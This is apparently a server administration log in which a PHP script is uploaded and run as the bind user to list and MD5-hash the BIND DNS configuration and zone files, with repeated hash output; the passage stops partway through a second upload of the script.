MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 11:55:46: Establishing a connection
2026-04-22 11:55:46: 

PUT: /tmp/pkp204235

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 11:55:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp204235; rm /tmp/pkp204235'

2026-04-22 11:55:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:11:52: Establishing a connection
2026-04-22 12:11:52: 

PUT: /tmp/pkp775573

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

